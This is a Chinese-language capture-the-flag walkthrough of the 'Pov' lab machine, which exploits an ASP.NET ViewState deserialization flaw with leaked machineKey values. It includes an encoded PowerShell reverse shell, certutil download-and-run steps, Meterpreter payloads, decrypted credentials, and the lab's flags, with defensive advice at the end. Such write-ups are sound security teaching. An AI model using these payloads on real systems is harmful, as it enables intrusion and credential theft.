[Meachines][Medium]Pov
字数 1109 2025-08-19 12:42:09
ASP.NET ViewState 反序列化漏洞利用教学文档
1. 漏洞概述
本教学文档详细分析了一个针对 ASP.NET Web Forms 应用程序中 __VIEWSTATE 参数的反序列化漏洞利用过程。攻击者通过获取服务器配置中的 machineKey,利用 ysoserial.net 工具生成恶意 ViewState,最终实现远程代码执行(RCE)并获取系统权限。
2. 初始信息收集
2.1 主机发现与端口扫描
nmap -p- -sC -sV 10.10.11.251 --min-rate 1000
2.2 添加主机到hosts文件
echo "10.10.11.251 dev.pov.htb pov.htb" >> /etc/hosts
3. 漏洞发现与利用
3.1 文件读取漏洞
通过Burp拦截请求,发现存在文件读取漏洞:
file=C:\\Windows\win.ini
3.2 关键配置文件获取
读取web.config文件获取服务器配置:
file=/web.config
获取到关键配置信息:
<configuration>
<system.web>
<customErrors mode="On" defaultRedirect="default.aspx" />
<httpRuntime targetFramework="4.5" />
<machineKey
decryption="AES"
decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
validation="SHA1"
validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
</system.web>
<!-- 其他配置省略 -->
</configuration>
3.3 machineKey 安全风险分析
machineKey 元素定义了用于加密和验证 __VIEWSTATE 的密钥。攻击者获取这些密钥后可以:
- 伪造或篡改
__VIEWSTATE - 执行命令注入
- 实现远程代码执行
4. 漏洞利用过程
4.1 准备 ysoserial.net 工具
wget https://github.com/pwntester/ysoserial.net/releases/download/v1.36/ysoserial-1dba9c4416ba6e79b6b262b758fa75e2ee9008e9.zip
4.2 生成恶意 ViewState
使用 ysoserial.exe 生成包含 PowerShell 反向 shell 的 ViewState:
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
--decryptionalg="AES" \
--decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" \
--validationalg="SHA1" \
--validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" \
--path="/portfolio/default.aspx" \
-c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAzACIALAAxADAAMAAzADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
4.3 替换 ViewState 并触发漏洞
使用 Burp Suite 拦截请求,将生成的恶意 payload 替换 __VIEWSTATE 字段。
5. 权限提升
5.1 获取用户凭据
在 C:\windows\system32\inetsrv 目录下发现 connection.xml 文件,包含用户 alaading 的加密凭据。
解密过程:
$EncryptedString = Get-Content .\pass.txt
$SecureString = ConvertTo-SecureString $EncryptedString
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList "username",$SecureString
echo $Credential.GetNetworkCredential().password
获取明文密码:
username: alaading
password: f8gQ8fynP44ek1m3
5.2 使用 RunasCs 提权
下载并执行 RunasCs:
certutil.exe -urlcache -split -f "http://10.10.16.23/RunasCs.exe" ".\RunasCs.exe"
.\RunasCs.exe alaading f8gQ8fynP44ek1m3 powershell.exe -r 10.10.16.23:10034
5.3 获取用户 flag
type C:\Users\alaading\Desktop\user.txt
2087672b9f87f406e8a45c5dc16fe3f4
6. 获取系统权限
6.1 生成 Meterpreter payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.23 LPORT=10099 -f exe > exp.exe
6.2 设置监听
msfconsole -x 'use exploit/multi/handler;set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST 10.10.16.23;set LPORT 10099;run'
6.3 靶机执行 payload
certutil.exe -urlcache -split -f "http://10.10.16.23/exp.exe" ".\exp.exe"
.\exp.exe
6.4 进程迁移提权
meterpreter > migrate 540 # 迁移到winlogon.exe进程
6.5 获取 root flag
type c:\users\administrator\desktop\root.txt
1069913b5adede5be3eaa21feecf660c
7. 防御措施
-
保护 machineKey:
- 不要将 machineKey 明文存储在配置文件中
- 定期轮换加密密钥
- 使用自动生成的密钥而非硬编码密钥
-
ViewState 安全配置:
- 启用 ViewState MAC (Message Authentication Code)
- 设置 ViewState 加密
- 限制 ViewState 大小
-
其他安全措施:
- 实施适当的输入验证
- 使用最新的安全补丁更新 .NET 框架
- 限制敏感信息的存储位置
- 实施最小权限原则